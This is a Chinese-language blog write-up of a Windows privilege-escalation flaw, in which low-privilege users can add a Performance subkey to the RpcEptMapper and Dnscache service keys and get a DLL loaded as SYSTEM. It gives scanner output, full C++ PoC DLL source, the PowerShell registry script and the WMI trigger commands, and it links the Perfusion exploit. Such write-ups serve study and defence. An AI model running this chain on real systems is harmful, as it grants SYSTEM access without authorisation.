Windows RpcEptMapper服务注册表项配置错误提权

跟着itm4n大佬看下这个没有CVE编号的提权漏洞是怎么肥事

蛛丝马迹#

使用Privsec检查服务注册表配置问题的时候,发现当前低权限用户能够对下列注册表进行修改

1
2
Set-ExecutionPolicy Bypass -Scope process -Force
. .\PrivescCheck.ps1; Invoke-PrivescCheck

注意在运行时不需要使用管理员权限,否则的话一些检测就并没有意义,因为管理员权限基本都是能够修改服务配置项的,所以当使用管理员权限进行检测时不会对服务注册表修改权限进行检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
+------+------------------------------------------------+------+
| TEST | SERVICES > Registry Permissions | VULN |
+------+------------------------------------------------+------+
| DESC | Parse the registry and check whether the current user |
| | can modify the configuration of any registered |
| | service. |
+------+-------------------------------------------------------+
[*] Found 5 result(s).


Name : Dnscache
ImagePath : C:\Windows\system32\svchost.exe -k NetworkService
User : NT AUTHORITY\NetworkService
ModifiablePath : HKLM\SYSTEM\CurrentControlSet\Services\Dnscache
IdentityReference : NT AUTHORITY\INTERACTIVE
Permissions : EnumerateSubKeys, ReadControl, CreateSubKey, QueryValue
Status : Running
UserCanStart : True
UserCanStop : False

Name : Dnscache
ImagePath : C:\Windows\system32\svchost.exe -k NetworkService
User : NT AUTHORITY\NetworkService
ModifiablePath : HKLM\SYSTEM\CurrentControlSet\Services\Dnscache
IdentityReference : BUILTIN\Users
Permissions : Notify, EnumerateSubKeys, ReadControl, CreateSubKey, QueryValue, GenericRead
Status : Running
UserCanStart : True
UserCanStop : False

Name : Dnscache
ImagePath : C:\Windows\system32\svchost.exe -k NetworkService
User : NT AUTHORITY\NetworkService
ModifiablePath : HKLM\SYSTEM\CurrentControlSet\Services\Dnscache
IdentityReference : BUILTIN\Users
Permissions : Notify, EnumerateSubKeys, ReadControl, CreateSubKey, QueryValue
Status : Running
UserCanStart : True
UserCanStop : False

Name : RpcEptMapper
ImagePath : C:\Windows\system32\svchost.exe -k RPCSS
User : NT AUTHORITY\NetworkService
ModifiablePath : HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
IdentityReference : NT AUTHORITY\Authenticated Users
Permissions : ReadControl, CreateSubKey, QueryValue
Status : Running
UserCanStart : True
UserCanStop : False

Name : RpcEptMapper
ImagePath : C:\Windows\system32\svchost.exe -k RPCSS
User : NT AUTHORITY\NetworkService
ModifiablePath : HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
IdentityReference : BUILTIN\Users
Permissions : Notify, CreateSubKey, QueryValue
Status : Running
UserCanStart : True
UserCanStop : False

可以注意到此时当前账户对RpcEptMapper和Dnscache的注册表项虽然没有修改的权限,但是有新建子项(CreateSubKey)的权限

思考探索#

小小的思考:

目前RpcEptMapper下只有Parameters和Security两个子键,由于不能修改,所以不能通过修改这两个子键中的信息来改变服务的行为,那会不会有其他的子键能够改变服务行为呢?

小小的回复:

得看服务还有什么键值是这个服务会用到,并且是当前还不存在的呢?例如有的服务在访问某个注册表键值时,会先查看是否存在某个注册表项,如果不存在的话,就会新建一个默认的注册表项。

通过搜索微软对服务注册表项的定义可以发现,其中的Performance键,能够用来监控服务的一些信息,但是需要自己实现一些代码,而且RpcEptMapper服务默认并不存在Performance这个键

image-20211014151212802

继续找相关内容,Create The Applications Performance Key 这篇文章给了一些信息

image-20211014151731850

其中需要关注的参数有:

  • Library:dll的名字或者完整的路径
  • Open:导出的Open函数的名字
  • Collect:导出的Collect函数的名字
  • Close:导出的Close函数的名字

也就是说,我们需要自己实现一个性能监控dll文件,并导出其中的Open,Collect,Close函数接口,以我不多的编程经验猜测一下,大概是是Open用于开始前的一些初始化工作,Collect是性能监控的主要函数,Close应该是结束退出前做一些扫尾工作

PoC编写#

从微软的文档中可以找到实现dll需要的接口,如下

对于PoC来说,只需要证明dll确实在服务的上下文中执行的即可,验证的方法有很多,作者选择的是新建文件并写入日志,如果文件的所有者为服务,那么就说明已经能在服务上下文中执行了,代码如下:代码链接,我稍微改了下,加了个新建文件夹的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#include <iostream>
#include <Windows.h>
#include <Lmcons.h> // UNLEN + GetUserName
#include <tlhelp32.h> // CreateToolhelp32Snapshot()
#include <strsafe.h>

extern "C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);
extern "C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
extern "C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();
void Log(LPCWSTR pwszCallingFrom);
void LogToFile(LPCWSTR pwszFilnema, LPWSTR pwszData);

DWORD APIENTRY OpenPerfData(LPWSTR pContext)
{
Log(L"OpenPerfData");
return ERROR_SUCCESS;
}

DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned)
{
Log(L"CollectPerfData");
return ERROR_SUCCESS;
}

DWORD APIENTRY ClosePerfData()
{
Log(L"ClosePerfData");
return ERROR_SUCCESS;
}

void Log(LPCWSTR pwszCallingFrom)
{
LPWSTR pwszBuffer, pwszCommandLine;
WCHAR wszUsername[UNLEN + 1] = { 0 };
SYSTEMTIME st = { 0 };
HANDLE hToolhelpSnapshot;
PROCESSENTRY32 stProcessEntry = { 0 };
DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0;
BOOL bResult = FALSE;

// Get the command line of the current process
pwszCommandLine = GetCommandLine();

// Get the name of the process owner
GetUserName(wszUsername, &dwPcbBuffer);

// Get the PID of the current process
dwProcessId = GetCurrentProcessId();

// Get the PID of the parent process
hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
stProcessEntry.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hToolhelpSnapshot, &stProcessEntry)) {
do {
if (stProcessEntry.th32ProcessID == dwProcessId) {
dwParentProcessId = stProcessEntry.th32ParentProcessID;
break;
}
} while (Process32Next(hToolhelpSnapshot, &stProcessEntry));
}
CloseHandle(hToolhelpSnapshot);

// Get the current date and time
GetLocalTime(&st);

// Prepare the output string and log the result
dwBufSize = 4096 * sizeof(WCHAR);
pwszBuffer = (LPWSTR)malloc(dwBufSize);
if (pwszBuffer)
{
StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'\r\n",
st.wHour,
st.wMinute,
st.wSecond,
dwProcessId,
dwParentProcessId,
wszUsername,
pwszCommandLine,
pwszCallingFrom
);
CreateDirectoryA("C:\\LOGS",NULL);
LogToFile(L"C:\\LOGS\\RpcEptMapperPoc.log", pwszBuffer);

free(pwszBuffer);
}
}

void LogToFile(LPCWSTR pwszFilename, LPWSTR pwszData)
{
HANDLE hFile;
DWORD dwBytesWritten;

hFile= CreateFile(pwszFilename, FILE_APPEND_DATA, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE)
{
WriteFile(hFile, pwszData, (DWORD)wcslen(pwszData) * sizeof(WCHAR), &dwBytesWritten, NULL);
CloseHandle(hFile);
}
}

extern "C" BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved)
{
switch (reason)
{
case DLL_PROCESS_ATTACH:
Log(L"DllMain");
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

注意到,这里使用GetUserName函数来输出当前进程的所有者,因此当运行到Log函数时,会打印出进程信息,用于验证

PoC验证#

为了验证PoC是否能够运行,可以先用rundll32来测试一下:

poc1

可以看到成功创建了日志文件,并且所有者为当前用户

接下来的问题就是怎么让服务把这个dll运行起来,即使我们增加了注册表项,但也需要方法触发执行Open,Collect,Close方法才行

对于这个问题,itm4n找了很久才找到方法VMI Performance

1
Get-WmiObject -List | Where-Object { $_.Name -Like "Win32_Perf*" }

大概就是在添加完注册表后,在powershell中使用上面的命令,就能够执行我们编写的dll,细化一下的话,下面的几条命令也是可以的

1
2
3
Get-WmiObject Win32_Perf
Get-WmiObject Win32_PerfRawData
Get-WmiObject Win32_PerfFormattedData

验证流程

  • 使用powershell添加注册表项,脚本如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ServiceKey = "SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance"

Write-Host "[*] Create 'Performance' subkey"
[void] [Microsoft.Win32.Registry]::LocalMachine.CreateSubKey($ServiceKey)
Write-Host "[*] Create 'Library' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Value "$($pwd)\RcpEptMapperPoC.dll" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Open' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Value "OpenPerfData" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Collect' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Value "CollectPerfData" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Close' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Value "ClosePerfData" -PropertyType "String" -Force | Out-Null

Read-Host -Prompt "Press any key to continue"

Write-Host "[*] Cleanup"
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Force
[Microsoft.Win32.Registry]::LocalMachine.DeleteSubKey($ServiceKey)
  • 使用GetWmiObject命令调用dll文件

poc2

可以看到,已经成功的创建了日志文件,并且上下文居然是System权限的,也就是成功实现了对权限的提升,接下来利用的话只需要在这个上下文中开启一个shell就行了

Exp利用#

本来想自己把流程串起来写个exp的,不过发现itm4n已经实现了,链接如下:Perfusion

需要注意其中提到的第二点问题,有的时候会失败,但是过一段时间就可以用了,从我的使用来看,确实是这样的

image-20211015102245529

利用效果如下图所示:

exp

漏洞的验证虽然是使用RpcEptMapper服务来验证的,但实际上DnsCache也是一样的,在itm4n的exp中也实现了对应的利用

最后po一个文中用到的相关文件链接:Perfusion Files

参考#

评论